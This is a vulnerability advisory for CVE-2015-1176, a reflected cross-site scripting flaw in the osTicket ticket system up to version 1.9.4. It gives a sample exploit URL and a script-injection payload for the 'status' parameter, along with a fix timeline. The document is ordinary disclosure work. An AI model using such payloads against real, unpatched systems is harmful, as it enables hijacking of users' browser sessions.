CVE-2015-1176-xss-osticket

CVE-2015-1176-xss-osticket


Information
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Advisory by Octogence.
Name: Reflected XSS Vulnerability in osTicket Ticket system
Affected Software : osTicket
Affected Versions: 1.9.4 and possibly below
Vendor Homepage : http://osticket.com/
Vulnerability Type : Cross-site Scripting
Severity : High
CVE ID: CVE-2015-1176

Impact
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An attacker can craft a URL with malicious JavaScript code which
executes in the browser.

Technical Details
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Sample URL:
http://localhost/osticket/upload/scp/tickets.php?a=search&status=032″><script>alert(1)<%2fscript>&uid=3

Parameter:
status

Sample Payload:
“><script>alert(1)</script>

For more information on cross-site scripting vulnerabilities read the
following article:

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Advisory Timeline (mm/dd/yyyy)
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12/15/2014 – Reported
01/02/2015 – Vulnerability Fixed
01/18/2015 – Advisory Released